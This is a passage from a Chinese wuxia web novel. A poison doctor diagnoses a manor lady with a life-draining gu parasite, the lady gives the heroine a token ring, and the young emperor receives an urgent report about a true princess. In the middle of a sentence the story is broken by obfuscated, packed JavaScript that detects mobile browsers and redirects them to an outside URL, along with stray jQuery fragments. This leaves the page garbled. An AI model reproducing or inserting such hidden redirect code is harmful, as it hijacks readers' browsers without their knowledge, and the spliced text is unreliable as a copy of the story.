但如今渣男被梧桐山庄除名,梧桐山庄第一顺位继承人是上官惠而并非是她的女儿……姜泊这么想的,便也没忍住问了出来。
上官佳闭上了眼睛,沉默了片刻道,“外界常传我只生一女,断了上官家血脉,可无人知晓,是张季肾气亏损,本身难孕,只是他要面子,我喜欢他,便也替他受了。后来……我生病了,原本不觉什么,可当我武功尽废,他逐渐将我囚禁,与我貌合神离之时,我才知道这人虎狼之心甚极。”
“但是……”说着她突然抬头,向她的方向望过来,虽然看不见,但仍能感受到她的激动,“后来你出现了!你的出现是张季所有计划中的变数!所以我很感激你。”
“至于继承人的问题,尽人事听天命吧!经此一事,我也想明白了,梧桐山庄更需要一个有能力的继承人,而并非是谁的孩子。我已经将最珍贵的东西交给了她,可保她性命无忧,这就已经足够了,更珍贵的东西需要她自己去获得……”
姜泊有些被打动,难得有如此心胸开阔之人,她想了想,道,“这武林大会难得来了许多医术高明的医师,为何不去见见她们看看有没有希望呢?”
上官佳本想拒绝,姜泊又劝了两句,她才答应下来。由于上官佳行动不便,姜泊专门请了近些日子由于给秦兆玉看病,机缘巧合下新交好的毒医余虹去看一眼,她也是先前酒楼中戴着红色耳环的女子。
余虹拎着药箱,两人并排走着。余虹笑道,“如果不是看在你的面子上,我可不会主动去患者房中给她们看病!”想找她的病患多了,哪轮得到她这么纡尊降贵。
姜泊挽着对方的胳膊,笑道,“哎呀,我当然知道的,回去请你吃饭!”
姜泊忽悠了半天,走到上官佳房间的时候终于长叹了一口气,这条路怎么感觉比之前长那么多?
余虹一路上与姜泊打打闹闹,看见上官佳便瞬间严肃了起来。她皱着眉给上官佳把脉,姜泊两人屏息凝神,都有些不敢呼吸。半晌,余虹把脉结束,看着姜泊期望的目光,摇头道,“不是中毒!”
余虹还未说完,便被姜泊惊讶的声音堵了一下,“不是中毒?”
姜泊与上官佳两人同时皱了下眉,难不成是她们冤枉季沙/张季那厮了?
余虹看着两人疑惑的表情,摆摆手,无奈继续道,“不是中毒,但是中蛊!”
为了让自己的话顺利说完,余虹这次选择捂住姜泊的嘴迅速说完,“没错,就是中了蛊!这蛊以吸食寄生体血脉为生,这才导致了上官庄主这一系列的病症,如白发、衰老、武功消失等,都是蛊虫吸食上官庄主精脉的表象……”
“那还有……希望吗?”上官佳说得有些吞吞吐吐,她当然不想死,她有钱有地位还有一个未成年的女儿,她想活着!但她看过那么多大夫,所有人都看不明白她的病症,都道她日薄西山,朝不虑夕……她便也接受了这个事实。只有余虹看出了她的致病原因,她难得生出几分能够治好的希望来。
姜泊也望向余虹,一双眸子带着希冀。余虹松开禁锢着姜泊嘴巴的手,微微摇头表示无奈,姜泊瞬间失落起来。
上官佳许久没听见声音,也猜到了几分,她只失落了一瞬,便立刻恢复平常,苦笑着询问道,“那……我还剩下多长时间?”
余虹,“大概两年。”
“两年……”上官佳原本有些失落,一听余虹的话瞬间精神起来,“两年?!”她以为自己只能活两周了,结果面前这个人告诉她她还能活两年?
余虹没反应过来,点头道,“如果刚中蛊一周以内来找我,我可以让你恢复原状,寿命不减;中蛊三月内来找我,稍碍寿命但可恢复外貌……但你这蛊与你的身体共存许久,如果想要强行拔出来对你身体伤害很大,我只能护你两年,并且无法恢复你的外貌。”说着她还有些生气,自己终归才疏学浅。
“我也可以去询问一下我们门主,看看有没有什么更好的方法,但是,不要抱太大希望,你这终究拖的时间太长了。”余虹皱着眉,还在想着办法。
“足够了!”温柔的女声阻止了余虹的话,她看向这个多年被病痛所折磨的不成人形的女人,面上有些疑惑。
上官佳双手合十行了个礼表示自己的感谢,才继续温声道,“谢谢你!我不在乎容貌,我只在乎还能陪伴我的女儿多久。长一点最好,但是如果只有两年的话那也没关系,已经很宽裕了!”
相比于上官佳猜测的两周,两年的时光确实已经足够宽裕了,她拥有足够的时间安排自己女儿的未来;但它又那么短,在女儿成长的阶段中仿佛昙花一现,可她知道这已经算是上天给予她的恩赐了,人要懂得知足,上官佳安慰着自己。
“只是,我们可能很快就要离开了。”上官佳皱眉,有些不好意思道。“上官惠深觉丢脸,想必很快就会回梧桐山庄,所以我想请问余大夫,是否有方便我的治疗方法?”
“这样啊……”余虹思索一番,点头道,“有倒是有,但是药效会减弱,可能会稍微影响疗效,只要你能接受就行。”
看上官佳点头,余虹这才提笔写下了两道药方以及针灸术法,叮嘱她可以按这个药方抓药以及药浴,每过三个月与她通信交流病情再随时改动就好。
余虹还有事情,交代完毕起身便要离开。姜泊正要送,上官佳听见了,连忙将自己提前私藏的珠宝都塞到余虹手中,连连行礼表示感谢。
余虹见状,便也没推脱,将包裹塞进怀中,笑道,“那你们继续,我就先离开了。”
将余虹送走,姜泊这才问道,“你随上官惠回梧桐山庄,她未尝不会在半路害你……那时可如何是好?”
“不必担心,她们留着我还有用,不会轻易杀了我的。” 姜泊看上官佳笃定,便知道这人还留有后手,危及不到她的性命,这才放心一些。大概是两人遭遇相似,又合作了这么一场的原因,姜泊内心深处还是关心对方安危的。
“这个给你。”上官佳从枕头下取出了一枚玉扳指,抓着姜泊的手,说着便要戴到她手上。
姜泊连忙拒绝,上官佳道,“姜姑娘莫要推脱,你此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298406|164059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次助我许多,我十分感激。这是我梧桐山庄的命戒,只要不有违天地,无论何时何地,持此戒者可得梧桐山庄相助一次!你还是快收着吧!”
姜泊仍是有些不好意思,两人推让半天,姜泊无奈,终于接受道,“那我便恭敬不如从命,收下上官庄主这份大礼了。”
姜泊出门后,不久一抹黑色身影从门后探出,转瞬消失的无影无踪了。
柳树染了枝桠,时间飞驰,仿佛造物主摁了快进。林中山路转为官路,漫天黄沙转为泥泞的湿土,穿着黑衣斗笠的男人骑着骏马疾驰三天两夜,耗费了无数人力物力,累坏了数匹骏马,终于从边疆小镇返回到了京都。男人手持令牌,一路上城门大开,无人阻拦。直直骑到了红色宫墙中,这才跑着向北宫而去,与此同时,无人在意的角落,一道黑色身影向西宫而去。
“报!林品从蒙郡传来金字牌急递!”贴身侍候的黄安轻轻唤醒还在昏睡的皇帝,他闷哼了一声,然后手上抚着清风细腻的肌肤,不愿起床。
“天家,您醒醒,好像有急事。”清风披了件衣服,轻轻唤醒枕边的少年帝王。
“他不是被贬去做武林大会的临时监察了嘛?能有什么要紧的事情,值得用得上这金字牌的急递?”秦度有些不耐,边说边套了件外套。当朝急递分为三等,步递、马递、急脚递,而金牌急递又是急脚递中的最紧急者,最快可日行八百里。
清风帮助秦度套上衣服,安慰道,“这哪里是说得准的事情,这番急切地模样,想必不是一件小事,天家还是看看为好。”
秦度点点头,这跨步才下床,明黄色的绸衣松松垮垮地套在他的身上,一袭黑发如瀑布般搭在他的胸前,隐隐约约透出几块少年人的薄肌,以及上面散布的点点红痕,无一不显露着昨晚春风一度的餍足。
黄安垂着头,检查封泥无碍后,将缣帛展开递予秦度,这是寺人按照林品原话所作的简帛。
秦度随意接过,看到字的瞬间眼瞳放大。除去必要的行文格式,上面其实只有一个意思,概括起来为,‘真公主在蒙郡,云州为假,此为良机,望您裁断。’
秦度瞬间浑身汗毛竖起,脊背发凉。他“唰”地将简帛合起,下意识在殿中踱步。
他不知道长姐是如何从云州流落到了蒙郡的,也不知此中内情,但观林品这信誓旦旦的模样,可信度极高。可这林品上次也信誓旦旦承诺他会成功将秦兆玉除去,最终还是落得一个失败的结果,他这次是否还能相信对方?如果云州长姐为假,宣入宫中无妨,秦兆玉势力可一举被他拿下;可若云州长姐为真,她已夺得云州军权,如若兵临城下,起了反心……
秦度皱眉,看着信中的急字,他突然偏头问道,“北疆战事大捷已经传来了一月有余,为何还不搬兵回朝?”秦度不知道,实际上,问海胜利的时间比他知道的更早。
黄安恭敬道,“禀天家,那北疆疆土辽阔,部落氏族众多,虽攻占了王宫,但收降兵马、清剿余孽,增设烽燧等后续事宜远比寻常繁杂,故花费时间也较长了一些。”